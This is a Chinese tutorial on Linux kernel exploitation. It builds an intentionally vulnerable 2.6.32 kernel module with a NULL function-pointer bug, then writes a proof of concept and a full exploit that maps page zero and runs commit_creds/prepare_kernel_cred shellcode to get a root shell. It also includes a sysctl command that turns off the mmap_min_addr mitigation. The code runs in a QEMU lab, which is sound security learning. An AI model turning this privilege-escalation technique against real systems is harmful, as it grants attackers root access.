linux内核漏洞利用初探(2):two_demo
1. NULL Dereference(1)介绍古老的Linux NULL pointer dereference exploit,映射0地址分配shellcode运行(2)漏洞代码#include<linux/init.h>
#include<linux/module.h>
#include<linux/kernel.h>
#include<linux/proc_fs.h>
void(*my_funptr)(void);
int bug1_write(struct file *file,constchar*buf,unsignedlong len)
{
my_funptr();
return len;
}
staticint __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!n");
create_proc_entry("bug1",0666,0)->write_proc = bug1_write;
return0;
}
staticvoid __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exitn");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
Makefile如下obj-m := null_dereference.o
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
代码分析:my_funptr函数指针指向不定,可以劫持之后执行shellcode。编译驱动后将*.ko打包进busybox文件系统中,以便挂载。(3) PoC//poc.c
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<stdio.h>
#include<stdlib.h>
#include<sys/mman.h>
char payload[] = "xe9xeaxbexadx0b";//jmp 0xbadbeef
int main(){
mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "muhe", 4);
return0;
}
$ gcc -**static** poc.c -o poc
$ cp poc ../../busybox-1.19.4/_install/usr
$ find . | cpio -o --format=newc > ../../rootfs_null_dereference.img
(4)调试PoCQEMU启动启动方法1:$ qemu-system-x86_64 -kernel linux-2.6.32.1/arch/x86/boot/bzImage -initrd ./rootfs_null_dereference.img -append "root=/dev/ram rdinit=/sbin/init"ctrl+alt+1 VM显示 ctrl+alt+2 监视器控制台切换到监视器控制台:(QEMU)gdbserver tcp::1234启动方法2:#start.sh 脚本
qemu-system-x86_64 \
-m 256M \
-kernel linux-2.6.32.1/arch/x86/boot/bzImage \
-initrd ./rootfs_null_dereference.img\
-append "root=/dev/ram rdinit=/sbin/init" \
-s
然后用gdb去连接。$ gdb vmlinux
gdb-peda$ target remote :1234
Remote debugging using:1234
Warning: not running or target is remote
current_thread_info () at /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186
186(current_stack_pointer & ~(THREAD_SIZE - 1));
gdb-peda$ b *0x0
Breakpoint1 at 0x0
gdb-peda$ c
Continuing.
QEMU切换到VM显示,挂载驱动null_dereference.ko后运行poc程序。$ insmod nulldereference.ko
$ ./usr/poc
gdb中反汇编查看当前执行的指令。gdb-peda$ pdisass $pc
Dump of assembler code from0x0 to 0x20:: Dump of assembler code from0x0 to 0x20:
=> 0x0000000000000000<per_cpu__irq_stack_union+0>: jmp 0xbadbeef
0x0000000000000005<per_cpu__irq_stack_union+5>: add BYTE PTR ,al
0x0000000000000007<per_cpu__irq_stack_union+7>: add BYTE PTR ,al
0x0000000000000009<per_cpu__irq_stack_union+9>: add BYTE PTR ,al
(5)exploit(5-1)思路给当前进程赋予root权限,执行commit_creds(prepare_kernel_cred(0));。#获取commit_creds()和prepare_kernel_cred()地址
$ cat /proc/kallsyms | grep commit_creds
$ cat /proc/kallsyms | grep prepare_kernel_cred
(5-2)编写shellcodexor %rax,%rax
call 0xffffffff81083610
call 0xffffffff81083420
ret
$ gcc -o payload payload.s -nostdlib -Ttext=0
$ objdump -d payload
payload: file format elf64-x86-64
Disassembly of section .text:
0000000000000000<__bss_start-0x20000e>:
0: 4831 c0 xor %rax,%rax
3: e8 08360881 callqffffffff81083610 <_end+0xffffffff80e83600>
8: e8 13340881 callqffffffff81083420 <_end+0xffffffff80e83410>
d: c3 retq
得到shellcode。shellcode="\x48\x31\xc0\xe8\x08\x36\x08\x81\xe8\x13\x34\x08\x81\xc3"
我们需要分配0地址空间然后放入shellcode,然后jmp过去执行shellcode,使当前进程有root权限,然后执行一个system("/bin/sh");在程序返回用户态之后拿到一个root的shell。(5-3)explot//$ gcc -static exploit.c -o exp
//exploit.c
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<stdio.h>
#include<stdlib.h>
#include<sys/mman.h>
char payload[] = "\x48\x31\xc0\xe8\x08\x36\x08\x81\xe8\x13\x34\x08\x81\xc3";
int main()
{
mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "muhe", 4);
system("/bin/sh");//get root shell
return0;
}
(6)get root shell新建用户测试exploit。$ insmod nulldereference.ko #加载漏洞模块
$ touch /etc/passwd
$ adduser john
$ touch /etc/group
$ su john
$ whoami
john
$ /usr/exp
#报错sementation fault,这是因为,2.6.32内核已经使用mmap_min_addr作为缓解措施mmap_min_addr为4096,需要设置下mmap_min_addr。
$ exit
$ sysctl -w vm.mmap_min_addr="0"
$ su john
$ /usr/exp
参考:https://www.anquanke.com/post/id/85837https://www.anquanke.com/post/id/85840https://www.anquanke.com/post/id/85848文章首发于先知-linux内核漏洞利用初探(2):two_demo。内核安全相关项目见git仓库。References 先知-linux内核漏洞利用初探(2):two_demo: https://xz.aliyun.com/t/6010 git仓库: https://github.com/bsauce/kernel-security-learning
往期推荐 linux内核漏洞利用初探(1):环境配置
qemu-pwn-基础知识
qemu pwn-Blizzard CTF 2017 Strng writeup
页:
[1]